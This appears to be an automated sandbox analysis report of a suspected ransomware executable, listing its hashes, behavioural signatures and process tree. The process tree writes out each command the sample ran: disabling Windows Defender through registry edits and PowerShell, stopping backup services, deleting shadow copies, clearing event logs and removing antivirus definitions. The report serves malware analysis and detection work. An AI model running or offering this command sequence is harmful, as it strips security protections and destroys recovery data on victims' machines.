Resubmissions

13-01-2022 13:01

220113-p9l6fsace2 10

13-01-2022 11:09

220113-m9h3pahfhp 10

Analysis

  • max time kernel
    110s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    13-01-2022 11:09

General

  • Target

    cd1f5c8ec7be164ae3d70ca50c118e9a270996f9f20c51ede383a96d849c9c52.exe

  • Size

    2.5MB

  • MD5

    9c156aff00fc0ac66ed918d000041932

  • SHA1

    f2fc2bade3f0447ff68bf2c00dadcce1a966b4a0

  • SHA256

    cd1f5c8ec7be164ae3d70ca50c118e9a270996f9f20c51ede383a96d849c9c52

  • SHA512

    43834c400a1a4fb83db8c16332345c86b1e568d45944b31721e9098f00dfe3be731d0661c02e103a4179cf8f35771d842d4dfa36aefd1a60f6577448f2600b02

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies registry class 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cd1f5c8ec7be164ae3d70ca50c118e9a270996f9f20c51ede383a96d849c9c52.exe
    "C:\Users\Admin\AppData\Local\Temp\cd1f5c8ec7be164ae3d70ca50c118e9a270996f9f20c51ede383a96d849c9c52.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2632
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3796
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:3864
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3360
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:512
        • C:\Windows\SysWOW64\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:800
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:2220
          • C:\Windows\SysWOW64\net.exe
            net.exe stop "UI0Detect" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2812
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "UI0Detect" /y
              3⤵
                PID:788
            • C:\Windows\SysWOW64\net.exe
              net.exe stop "vmicvss" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3728
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "vmicvss" /y
                3⤵
                  PID:1460
              • C:\Windows\SysWOW64\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3516
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:480
                • C:\Windows\SysWOW64\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2824
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:1244
                  • C:\Windows\SysWOW64\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1276
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:1236
                    • C:\Windows\SysWOW64\net.exe
                      net.exe stop "UnistoreSvc_1323b" /y
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2552
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop "UnistoreSvc_1323b" /y
                        3⤵
                          PID:3692
                      • C:\Windows\SysWOW64\sc.exe
                        sc.exe config "SamSs" start= disabled
                        2⤵
                          PID:1668
                        • C:\Windows\SysWOW64\sc.exe
                          sc.exe config "SDRSVC" start= disabled
                          2⤵
                            PID:404
                          • C:\Windows\SysWOW64\sc.exe
                            sc.exe config "SstpSvc" start= disabled
                            2⤵
                              PID:808
                            • C:\Windows\SysWOW64\sc.exe
                              sc.exe config "UI0Detect" start= disabled
                              2⤵
                                PID:2232
                              • C:\Windows\SysWOW64\sc.exe
                                sc.exe config "vmicvss" start= disabled
                                2⤵
                                  PID:1332
                                • C:\Windows\SysWOW64\sc.exe
                                  sc.exe config "VSS" start= disabled
                                  2⤵
                                    PID:1744
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc.exe config "wbengine" start= disabled
                                    2⤵
                                      PID:1784
                                    • C:\Windows\SysWOW64\sc.exe
                                      sc.exe config "WebClient" start= disabled
                                      2⤵
                                        PID:2044
                                      • C:\Windows\SysWOW64\sc.exe
                                        sc.exe config "UnistoreSvc_1323b" start= disabled
                                        2⤵
                                          PID:2156
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                          2⤵
                                            PID:2456
                                          • C:\Windows\SysWOW64\reg.exe
                                            reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                            2⤵
                                              PID:2936
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                              2⤵
                                                PID:3036
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                                2⤵
                                                  PID:1496
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                                  2⤵
                                                    PID:848
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                    2⤵
                                                      PID:2768
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                      2⤵
                                                        PID:3672
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                        2⤵
                                                          PID:3524
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                          2⤵
                                                            PID:3664
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                            2⤵
                                                              PID:1472
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                              2⤵
                                                                PID:3876
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                                2⤵
                                                                  PID:1888
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                                  2⤵
                                                                    PID:2640
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                                                    2⤵
                                                                      PID:1176
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                      2⤵
                                                                        PID:2684
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                        2⤵
                                                                          PID:2756
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                          2⤵
                                                                            PID:2088
                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                            2⤵
                                                                              PID:3496
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                              2⤵
                                                                                PID:1316
                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                                2⤵
                                                                                  PID:3676
                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                                  2⤵
                                                                                    PID:2572
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                                                    2⤵
                                                                                      PID:868
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                                                      2⤵
                                                                                        PID:3592
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                                                        2⤵
                                                                                          PID:3488
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:1044
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:332
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:3996
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                          2⤵
                                                                                            PID:2052
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                            2⤵
                                                                                              PID:1844
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                              2⤵
                                                                                                PID:1988
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                2⤵
                                                                                                  PID:2944
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                  • Modifies security service
                                                                                                  PID:3788
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                    PID:984
                                                                                                  • C:\Windows\SysWOW64\vssadmin.exe
                                                                                                    vssadmin.exe delete shadows /all /quiet
                                                                                                    2⤵
                                                                                                    • Interacts with shadow copies
                                                                                                    PID:916
                                                                                                  • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                    wevtutil.exe cl system
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:3148
                                                                                                  • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                    wevtutil.exe cl security
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:3184
                                                                                                  • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                    wevtutil.exe cl application
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:2084
                                                                                                  • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                                                    wmic.exe SHADOWCOPY /nointeractive
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:1728
                                                                                                  • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                                                    wmic.exe shadowcopy delete
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:3252
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                    2⤵
                                                                                                      PID:1348
                                                                                                      • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                        "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                        3⤵
                                                                                                        • Deletes Windows Defender Definitions
                                                                                                        PID:3220
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                      2⤵
                                                                                                        PID:3528
                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                          3⤵
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          PID:2916
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                        2⤵
                                                                                                          PID:1552
                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                            3⤵
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:3412

                                                                                                      Network

                                                                                                      MITRE ATT&CK Enterprise v6

                                                                                                      Replay Monitor

                                                                                                      Loading Replay Monitor...

                                                                                                      Downloads

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                        MD5

                                                                                                        1c19c16e21c97ed42d5beabc93391fc5

                                                                                                        SHA1

                                                                                                        8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

                                                                                                        SHA256

                                                                                                        1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

                                                                                                        SHA512

                                                                                                        7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                        MD5

                                                                                                        a787ec6fc0706bec7496dabdc62cc9b5

                                                                                                        SHA1

                                                                                                        31763f89f9b5b185d382422adf8d601403e58f79

                                                                                                        SHA256

                                                                                                        10e0355fbfa4da168a35a5254d9c78f8e7c47840e1fd05c326617eafd9f6becc

                                                                                                        SHA512

                                                                                                        30c69b6787dd6ce58ad84fce8ca9e6055fcebcb319bff37c1e3122457a8922b4129818bd88439f8a5c74e3304341d8818a91deef19b2ab085d6b9e8dec3febdf

                                                                                                      • memory/332-167-0x0000000000000000-mapping.dmp

                                                                                                      • memory/404-134-0x0000000000000000-mapping.dmp

                                                                                                      • memory/480-126-0x0000000000000000-mapping.dmp

                                                                                                      • memory/512-118-0x0000000000000000-mapping.dmp

                                                                                                      • memory/788-122-0x0000000000000000-mapping.dmp

                                                                                                      • memory/800-119-0x0000000000000000-mapping.dmp

                                                                                                      • memory/808-135-0x0000000000000000-mapping.dmp

                                                                                                      • memory/848-146-0x0000000000000000-mapping.dmp

                                                                                                      • memory/868-163-0x0000000000000000-mapping.dmp

                                                                                                      • memory/916-175-0x0000000000000000-mapping.dmp

                                                                                                      • memory/984-174-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1044-166-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1176-155-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1236-130-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1244-128-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1276-129-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1316-160-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1332-137-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1460-124-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1472-151-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1496-145-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1668-133-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1744-138-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1784-139-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1844-170-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1888-153-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1988-171-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2044-140-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2052-169-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2084-178-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2088-158-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2156-141-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2220-120-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2232-136-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2456-142-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2552-131-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2572-162-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2640-154-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2684-156-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2756-157-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2768-147-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2812-121-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2824-127-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2916-415-0x00000000075D0000-0x00000000075D8000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/2916-206-0x0000000008730000-0x000000000877B000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/2916-420-0x00000000075D0000-0x00000000075D8000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/2916-414-0x00000000075E0000-0x00000000075FA000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/2916-409-0x00000000075E0000-0x00000000075FA000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/2916-284-0x0000000004FA3000-0x0000000004FA4000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/2916-215-0x0000000009BA0000-0x0000000009C34000-memory.dmp

                                                                                                        Filesize

                                                                                                        592KB

                                                                                                      • memory/2916-214-0x000000007E630000-0x000000007E631000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/2916-213-0x00000000099E0000-0x0000000009A85000-memory.dmp

                                                                                                        Filesize

                                                                                                        660KB

                                                                                                      • memory/2916-208-0x0000000009880000-0x000000000989E000-memory.dmp

                                                                                                        Filesize

                                                                                                        120KB

                                                                                                      • memory/2916-207-0x0000000008A50000-0x0000000008AC6000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/2916-205-0x0000000008280000-0x00000000082E6000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/2916-204-0x0000000008130000-0x0000000008196000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/2916-203-0x0000000007940000-0x0000000007962000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/2916-202-0x00000000098A0000-0x00000000098D3000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/2916-201-0x00000000098A0000-0x00000000098D3000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/2916-200-0x0000000007A90000-0x00000000080B8000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/2916-192-0x00000000034C0000-0x00000000034C1000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/2916-191-0x0000000008A50000-0x0000000008AC6000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/2916-179-0x00000000034C0000-0x00000000034C1000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/2916-180-0x00000000034C0000-0x00000000034C1000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/2916-181-0x0000000004ED0000-0x0000000004F06000-memory.dmp

                                                                                                        Filesize

                                                                                                        216KB

                                                                                                      • memory/2916-183-0x0000000004FA2000-0x0000000004FA3000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/2916-182-0x0000000004FA0000-0x0000000004FA1000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/2916-184-0x0000000007A90000-0x00000000080B8000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/2916-185-0x0000000007940000-0x0000000007962000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/2916-186-0x0000000008130000-0x0000000008196000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/2916-187-0x0000000008280000-0x00000000082E6000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/2916-188-0x0000000008320000-0x0000000008670000-memory.dmp

                                                                                                        Filesize

                                                                                                        3.3MB

                                                                                                      • memory/2916-189-0x0000000008200000-0x000000000821C000-memory.dmp

                                                                                                        Filesize

                                                                                                        112KB

                                                                                                      • memory/2916-190-0x0000000008730000-0x000000000877B000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/2936-143-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2944-172-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3036-144-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3148-176-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3184-177-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3360-117-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3412-457-0x0000000007740000-0x00000000077A6000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3412-458-0x0000000007820000-0x0000000007886000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3412-673-0x0000000009B60000-0x0000000009B68000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/3412-668-0x0000000009B60000-0x0000000009B68000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/3412-667-0x0000000009B70000-0x0000000009B8A000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/3412-662-0x0000000009B70000-0x0000000009B8A000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/3412-467-0x000000007EAF0000-0x000000007EAF1000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3412-469-0x0000000004D03000-0x0000000004D04000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3412-468-0x0000000009BB0000-0x0000000009C44000-memory.dmp

                                                                                                        Filesize

                                                                                                        592KB

                                                                                                      • memory/3412-466-0x0000000009910000-0x00000000099B5000-memory.dmp

                                                                                                        Filesize

                                                                                                        660KB

                                                                                                      • memory/3412-460-0x0000000008860000-0x00000000088D6000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/3412-461-0x00000000098B0000-0x00000000098CE000-memory.dmp

                                                                                                        Filesize

                                                                                                        120KB

                                                                                                      • memory/3412-459-0x0000000008790000-0x00000000087DB000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/3412-456-0x00000000075A0000-0x00000000075C2000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/3412-433-0x0000000004C60000-0x0000000004C96000-memory.dmp

                                                                                                        Filesize

                                                                                                        216KB

                                                                                                      • memory/3412-434-0x0000000007960000-0x0000000007F88000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/3412-435-0x00000000075A0000-0x00000000075C2000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/3412-436-0x0000000007740000-0x00000000077A6000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3412-437-0x0000000007820000-0x0000000007886000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3412-438-0x0000000008170000-0x00000000084C0000-memory.dmp

                                                                                                        Filesize

                                                                                                        3.3MB

                                                                                                      • memory/3412-439-0x0000000004D00000-0x0000000004D01000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3412-440-0x0000000004D02000-0x0000000004D03000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3412-455-0x00000000098D0000-0x0000000009903000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/3412-442-0x00000000084C0000-0x00000000084DC000-memory.dmp

                                                                                                        Filesize

                                                                                                        112KB

                                                                                                      • memory/3412-443-0x0000000008790000-0x00000000087DB000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/3412-444-0x0000000008860000-0x00000000088D6000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/3412-453-0x0000000007960000-0x0000000007F88000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/3412-454-0x00000000098D0000-0x0000000009903000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/3488-165-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3496-159-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3516-125-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3524-149-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3592-164-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3664-150-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3672-148-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3676-161-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3692-132-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3728-123-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3788-173-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3796-115-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3864-116-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3876-152-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3996-168-0x0000000000000000-mapping.dmp